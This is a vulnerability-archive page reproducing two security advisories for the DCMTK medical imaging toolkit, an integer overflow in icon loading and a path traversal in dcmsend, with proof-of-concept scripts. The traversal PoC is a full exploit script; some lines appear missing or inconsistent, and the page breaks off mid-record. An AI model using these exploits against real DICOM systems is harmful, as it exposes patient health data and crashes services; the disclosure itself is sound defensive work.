EPSS
VEX
Title
[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-046
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
DCMTK's DICOMDIR icon image loading is vulnerable to an integer overflow
in the PGM image size calculation. An attacker who can supply a
malicious PGM file referenced as an external icon can cause a heap
out-of-bounds read in the icon scaler, leading to a process crash or
potential information disclosure.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc
(line 4489) computes the PGM image buffer size by multiplying the width
and height parsed from the PGM file header:
unsigned int pgmWidth, pgmHeight = 0;
// ... values parsed from PGM file via sscanf()
const unsigned long pgmSize = pgmWidth * pgmHeight;
Uint8 *pgmData = new Uint8[pgmSize];
Both pgmWidth and pgmHeight are unsigned int. Their product is computed
as unsigned int, and only then assigned to unsigned long.
On any platform where unsigned int is 32 bits, a crafted PGM file with the
dimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow
(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).
The allocation "new Uint8[1]" succeeds, and fread() reads exactly 1 byte
from the PGM file.
The icon scaler is invoked at line 4505 of dcddirif.cc:
result = ImagePlugin->scaleData(pgmData, pgmWidth, pgmHeight,
pixel, width, height);
The scaler implementation (DicomDirImageImplementation::scaleData in
dcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from
unsigned int to Uint16 without validation:
DiScaleTemplate<Uint8> scale(1,
OFstatic_cast(Uint16, srcWidth), // 4294967295 -> 65535
OFstatic_cast(Uint16, srcHeight), // 4294967295 -> 65535
OFstatic_cast(Uint16, dstWidth),
OFstatic_cast(Uint16, dstHeight),
1);
scale.scaleData(OFstatic_cast(const Uint8 **, &srcData),
&dstData, 1 /* interpolate */);
The DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,
line 148) stores the truncated dimensions:
DiScaleTemplate(const int planes,
const Uint16 src_cols, // resolution of source image
const Uint16 src_rows,
const Uint16 dest_cols,
const Uint16 dest_rows,
const Uint32 frames,
const int bits = 0)
The scaleData() method (line 187) then iterates over the source image
using the truncated dimensions (65535 * 65535), reading from the 1-byte
heap allocation through the interpolatePixel() method, causing a heap
out-of-bounds read.
The root cause is the unchecked cast from unsigned int to Uint16 in the
scaler (ddpiimpl.cc:60), which silently truncates dimensions without any
bounds validation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The integer overflow can be demonstrated using a specially crafted PGM
file. The following shell script exemplarily creates such a file named
demo.pgm:
cat > create_pgm.sh << 'EOF'
#!/bin/bash
printf 'P5\n4294967295 4294967295\n255\n' > demo.pgm
printf '\x00' >> demo.pgm
EOF
If this PGM file is processed by a vulnerable DCMTK component like
dcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation
fault in this proof-of-concept example. The DICOM file PAT001 does not
contain pixel data and thus forces a fallback to the default icon.
dcmmkdir +X --default-icon demo.pgm PAT001
E: no pixel data found in DICOM dataset
W: cannot create monochrome icon from image file, using default
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
534e146b672ccd13d1a2b134ef623840e775396a (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-046
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-046\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s DICOMDIR icon image loading is vulnerable to an integer overflow\nin the PGM image size calculation. An attacker who can supply a\nmalicious PGM file referenced as an external icon can cause a heap\nout-of-bounds read in the icon scaler, leading to a process crash or\npotential information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc\n(line 4489) computes the PGM image buffer size by multiplying the width\nand height parsed from the PGM file header:\n\n unsigned int pgmWidth, pgmHeight = 0;\n // ... values parsed from PGM file via sscanf()\n const unsigned long pgmSize = pgmWidth * pgmHeight;\n Uint8 *pgmData = new Uint8[pgmSize];\n\nBoth pgmWidth and pgmHeight are unsigned int. Their product is computed\nas unsigned int, and only then assigned to unsigned long.\n\nOn any platform where unsigned int is 32 bits, a crafted PGM file with the\ndimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow\n(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).\n\nThe allocation \"new Uint8[1]\" succeeds, and fread() reads exactly 1 byte\nfrom the PGM file.\n\nThe icon scaler is invoked at line 4505 of dcddirif.cc:\n\n result = ImagePlugin-\u003escaleData(pgmData, pgmWidth, pgmHeight,\n pixel, width, height);\n\nThe scaler implementation (DicomDirImageImplementation::scaleData in\ndcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from\nunsigned int to Uint16 without validation:\n\n DiScaleTemplate\u003cUint8\u003e scale(1,\n OFstatic_cast(Uint16, srcWidth), // 4294967295 -\u003e 65535\n OFstatic_cast(Uint16, srcHeight), // 4294967295 -\u003e 65535\n OFstatic_cast(Uint16, dstWidth),\n OFstatic_cast(Uint16, dstHeight),\n 1);\n scale.scaleData(OFstatic_cast(const Uint8 **, \u0026srcData),\n \u0026dstData, 1 /* interpolate */);\n\nThe DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,\nline 148) stores the truncated dimensions:\n\n DiScaleTemplate(const int planes,\n const Uint16 src_cols, // resolution of source image\n const Uint16 src_rows,\n const Uint16 dest_cols,\n const Uint16 dest_rows,\n const Uint32 frames,\n const int bits = 0)\n\nThe scaleData() method (line 187) then iterates over the source image\nusing the truncated dimensions (65535 * 65535), reading from the 1-byte\nheap allocation through the interpolatePixel() method, causing a heap\nout-of-bounds read.\n\nThe root cause is the unchecked cast from unsigned int to Uint16 in the\nscaler (ddpiimpl.cc:60), which silently truncates dimensions without any\nbounds validation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe integer overflow can be demonstrated using a specially crafted PGM\nfile. The following shell script exemplarily creates such a file named\ndemo.pgm:\n\ncat \u003e create_pgm.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\nprintf \u0027P5\\n4294967295 4294967295\\n255\\n\u0027 \u003e demo.pgm\nprintf \u0027\\x00\u0027 \u003e\u003e demo.pgm\nEOF\n\nIf this PGM file is processed by a vulnerable DCMTK component like\ndcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation\nfault in this proof-of-concept example. The DICOM file PAT001 does not\ncontain pixel data and thus forces a fallback to the default icon.\n\ndcmmkdir +X --default-icon demo.pgm PAT001\nE: no pixel data found in DICOM dataset\nW: cannot create monochrome icon from image file, using default\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n534e146b672ccd13d1a2b134ef623840e775396a (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-046\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/24"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/24"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0023",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24",
"automated": true,
"contentSha256": "3fe43991bbc456a96307ac83f61414a6bd51af98439dd5d1de4bdfbd1709ab9c",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T07:57:54Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0023"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0024
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-047
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Path traversal (CWE-22)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
DCMTK's dcmsend is vulnerable to path traversal when it is instructed to
read input files from a specially crafted DICOMDIR. This can lead to
unauthorized disclosure of readable DICOM objects, including protected
health information.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The dcmsend command line option --read-from-dicomdir (+rd) enables
DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file
is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the
referenced SOP instances to its transfer list.
The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()
in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset
for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to
host path separators with dicomToHostFilename(), and then combines the
result with the DICOMDIR directory:
const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),
pathName.usesWideChars());
OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,
OFTrue /* allowEmptyDirName */);
dicomToHostFilename() only replaces "\\" with the host path separator.
It does not reject ".." components, absolute paths, or other traversal
patterns. OFStandard::combineDirAndFilename() also does not canonicalize
the result or verify that the final path remains below the DICOMDIR
directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET"
becomes a host path like "MEDIA/../OUTDIR/SECRET".
The attack chain is as follows:
1. The attacker crafts a DICOMDIR with an IMAGE directory record whose
ReferencedFileID contains traversal components, for example
"..\\OUTDIR\\SECRET".
2. The same record contains ReferencedSOPClassUIDInFile,
ReferencedSOPInstanceUIDInFile, and
ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM
object.
3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the
crafted DICOMDIR.
4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR
location without rejecting the traversal.
5. dcmsend opens and transmits the traversed DICOM file to the
configured remote storage SCP.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
To demonstrate this security isssue, a PoC exploit was developed that
sends a DICOM file outside the media directory to an attacker when an
attacker-controlled DICOMDIR is used by dcmsend.
The crafted DICOMDIR contains a path traversal attack vector in
ReferencedFileID.
cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend
set -u
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)"
MEDIA_DIR="${WORKDIR}/MEDIA"
OUTSIDE_DIR="${WORKDIR}/OUTDIR"
RECV_DIR="${WORKDIR}/recv"
TARGET_DUMP="${WORKDIR}/target.dump"
DICOMDIR="${MEDIA_DIR}/DICOMDIR"
TARGET_FILE="${OUTSIDE_DIR}/SECRET"
DCMSEND_LOG="${WORKDIR}/dcmsend.log"
STORESCP_LOG="${WORKDIR}/storescp.log"
cleanup()
{
if [ -n "${STORESCP_PID:-}" ]; then
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
require_tool()
{
command -v "$1" >/dev/null 2>&1 || {
echo "[!] Missing required tool: $1"
exit 1
}
}
require_tool dump2dcm
require_tool dcmdump
require_tool dcmsend
require_tool storescp
require_tool python3
mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}"
cat > "${TARGET_DUMP}" <<'EOF'
# Dicom-File-Format
# Dicom-Meta-Information-Header
# Used TransferSyntax: Little Endian Explicit
(0002,0001) OB 00\01
(0002,0002) UI =SecondaryCaptureImageStorage
(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]
(0002,0010) UI =LittleEndianExplicit
(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]
(0002,0013) SH [H7POC]
# Dicom-Data-Set
# Used TransferSyntax: Little Endian Explicit
(0008,0005) CS [ISO_IR 100]
(0008,0016) UI =SecondaryCaptureImageStorage
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]
(0008,0020) DA [20260630]
(0008,0030) TM [120000]
(0008,0060) CS [OT]
(0008,0064) CS [WSD]
(0010,0010) PN [POC^TRAVERSED]
(0010,0020) LO [H7DCMSEND]
(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]
(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]
(0020,0010) SH [1]
(0020,0011) IS [1]
(0020,0013) IS [1]
(0028,0002) US 1
(0028,0004) CS [MONOCHROME2]
(0028,0010) US 1
(0028,0011) US 1
(0028,0100) US 8
(0028,0101) US 8
(0028,0102) US 7
(0028,0103) US 0
(7fe0,0010) OB 00\00
EOF
dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1
python3 - "${DICOMDIR}" <<'PY'
import struct
import sys
out = sys.argv[1]
def even(value, pad=b" "):
return value if len(value) % 2 == 0 else value + pad
def elem(tag, vr, value):
group, element = tag
if isinstance(value, str):
value = value.encode("ascii")
if vr == "UI":
value = even(value, b"\0")
value = even(value, b" ")
data = struct.pack("<HH", group, element) + vr.encode("ascii")
if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
data += b"\0\0" + struct.pack("<I", len(value))
else:
data += struct.pack("<H", len(value))
return data + value
def item(content):
return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content
sop_class = "1.2.840.10008.5.1.4.1.1.7"
sop_inst = "1.2.826.0.1.3680043.10.543.777.1"
transfer_syntax = "1.2.840.10008.1.2.1"
record = b"".join([
elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)),
elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1430), "CS", "IMAGE"),
elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"),
elem((0x0004, 0x1510), "UI", sop_class),
elem((0x0004, 0x1511), "UI", sop_inst),
elem((0x0004, 0x1512), "UI", transfer_syntax),
])
dataset = b"".join([
elem((0x0004, 0x1130), "CS", "H7POC"),
elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1212), "US", struct.pack("<H", 0)),
elem((0x0004, 0x1220), "SQ", item(record)),
])
meta_body = b"".join([
elem((0x0002, 0x0001), "OB", b"\0\1"),
elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"),
elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"),
elem((0x0002, 0x0010), "UI", transfer_syntax),
elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"),
elem((0x0002, 0x0013), "SH", "H7POC"),
])
with open(out, "wb") as handle:
handle.write(b"\0" * 128 + b"DICM" + meta + dataset)
PY
PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"
echo "[*] DICOMDIR is inside: ${MEDIA_DIR}"
echo "[*] Referenced target is outside: ${TARGET_FILE}"
echo "[*] DICOMDIR ReferencedFileID:"
dcmdump +P 0004,1500 "${DICOMDIR}"
STORESCP_PID=$!
sleep 1
set +e
dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1
RC=$?
set -e
sleep 1
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
STORESCP_PID=""
cat "${DCMSEND_LOG}"
RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)"
if [ "${RC}" -eq 0 ] &&
[ -n "${RECEIVED_FILE}" ] &&
dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}"
exit 0
fi
echo "[!] FAILED: traversal transmission was not verified"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC
A successful attack is indicated by output similar to the following:
./poc.sh
[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA
[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET
[*] DICOMDIR ReferencedFileID:
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16372)
I: sending SOP instances ...
I: Sending C-STORE Request (MsgID 1, SC)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations : 1
I: Number of pres. contexts : 1
I: Number of SOP instances : 1
I: - sent to the peer : 1
I: * with status SUCCESS : 1
(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName
(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID
This demonstrates that dcmsend reads a file outside the DICOMDIR
directory and transmits it to the configured DICOM peer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-047
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-047\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Path traversal (CWE-22)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s dcmsend is vulnerable to path traversal when it is instructed to\nread input files from a specially crafted DICOMDIR. This can lead to\nunauthorized disclosure of readable DICOM objects, including protected\nhealth information.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe dcmsend command line option --read-from-dicomdir (+rd) enables\nDcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file\nis not sent itself. Instead, dcmsend reads the DICOMDIR and adds the\nreferenced SOP instances to its transfer list.\n\nThe affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()\nin dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset\nfor ReferencedFileID (0004,1500) elements, converts DICOM backslashes to\nhost path separators with dicomToHostFilename(), and then combines the\nresult with the DICOMDIR directory:\n\n const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),\n pathName.usesWideChars());\n OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,\n OFTrue /* allowEmptyDirName */);\n\ndicomToHostFilename() only replaces \"\\\\\" with the host path separator.\nIt does not reject \"..\" components, absolute paths, or other traversal\npatterns. OFStandard::combineDirAndFilename() also does not canonicalize\nthe result or verify that the final path remains below the DICOMDIR\ndirectory. Therefore, a ReferencedFileID such as \"..\\\\OUTDIR\\\\SECRET\"\nbecomes a host path like \"MEDIA/../OUTDIR/SECRET\".\n\nThe attack chain is as 